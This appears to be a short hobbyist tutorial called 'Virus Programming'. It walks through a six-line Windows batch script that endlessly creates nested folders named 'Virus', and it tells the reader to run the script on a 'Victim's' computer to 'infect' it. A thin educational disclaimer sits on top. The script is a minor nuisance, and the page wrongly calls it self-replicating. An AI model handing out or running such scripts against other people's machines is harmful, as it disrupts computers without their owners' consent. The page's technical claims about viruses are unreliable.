Virus Programming

All that information given in this article is only for educational purpose,and the author of this article solely will not hold responsibility for whatever you mess with this stuff

Folder Replicating Virus


Here is a Simple  virus which is written in batch program that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it.
1. Just open up a notepad, copy and paste the below code

cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop

2. Save it as a batch file with the extension .bat, before doing that you have to modify the code by changing the place where it says ‘username’ and instead of that replace it by the currently logged in username.

3. Then run it on the Victims computer to infect it.

4. Any how it doesn’t cause much harm, but replicates folder inside a folder and goes on. Once more thing that you have to notice is that, this will create directory inside another directory with the same name, so it doesn’t looks like crap, since everything reside inside one main directory, more over deleting the root directory will purge all the clumsy thing done by this piece of code.

Reference Source book: batch language


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